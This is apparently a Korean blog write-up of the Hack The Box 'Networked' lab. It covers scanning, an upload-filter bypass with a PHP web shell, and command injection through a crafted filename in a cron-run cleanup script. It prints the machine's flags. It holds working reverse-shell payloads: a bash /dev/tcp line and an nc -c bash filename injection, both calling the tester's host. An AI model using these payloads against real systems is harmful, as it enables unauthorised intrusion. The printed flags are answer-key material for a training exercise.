ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] Networked Writeup
    Wargame/Hack The Box 2022. 2. 9. 22:57

    nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.154.46

    gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.154.46/ -x php,txt -o gobusterResult.txt

    /upload.php를 통해 파일 업로드를 하면, /uploads/ 에 파일이 업로드 되는데 이 때 파일명이 변환된다. 

    /backup 에는 소스파일이 있다. 이 파일들을 분석 해보니 이미지 파일만 업로드가 가능했다.

     

    소스코드 분석 및 여러 시도를 하면서 이미지 파일 뒤에 php 소스를 붙히고, 이미지 이름을 aa.php.png와 같이 하면 웹쉘이 실행 가능함을 알아냈다.

    <?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.114/1234 0>&1'"); ?>

    쉘을 획득 후 사용자 홈 디렉토리에 가보니 crontab.guly 파일을 볼 수 있었는데, 이는 3분마다 check_attack.php 를 실행시킨다는 내용이었다.

    #check_attack.php
    
    <?php
    require '/var/www/html/lib.php';
    $path = '/var/www/html/uploads/';
    $logpath = '/tmp/attack.log';
    $to = 'guly';
    $msg= '';
    $headers = "X-Mailer: check_attack.php\r\n";
    
    $files = array();
    $files = preg_grep('/^([^.])/', scandir($path));
    
    foreach ($files as $key => $value) {
            $msg='';
      if ($value == 'index.html') {
            continue;
      }
      #echo "-------------\n";
    
      #print "check: $value\n";
      list ($name,$ext) = getnameCheck($value);
      $check = check_ip($name,$value);
    
      if (!($check[0])) {
        echo "attack!\n";
        # todo: attach file
        file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
    
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        echo "rm -f $path$value\n";
        mail($to, $msg, $msg, $headers, "-F$value");
      }
    }
    
    ?>

    파일 이름으로 Command Injection이 가능하므로 리버스 쉘 커맨드를 이름으로 하는 파일을 생성했다.

    (-e /bin/bash 는 슬래시때문에 사용이 불가하다)

    touch 'a.; nc 10.10.14.114 6338 -c bash;'

    권한 상승을 위해 sudo -l 을 해보았다.

    해당 파일로 이것저것 테스트결과 띄어쓰기를 하면 그 뒤 입력이 커맨드로 호출됨을 알 수 있었고, 루트권한의 쉘을 획득 할 수 있었다.

     

    FLAG =

    [user] 526cfc2305f17faaacecf212c57d71c5

    [root] 0a8ecda83f1d81251099e8ac3d0dcb82

    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] SwagShop Writeup  (0) 2022.05.08
    [HTB] FreindZone Writeup  (0) 2022.02.16
    [HTB] Irked Writeup  (0) 2022.02.07
    [HTB] Sunday Writeup  (0) 2022.02.06
    [HTB] Bounty Writeup  (0) 2022.02.05

    댓글

Designed by Tistory.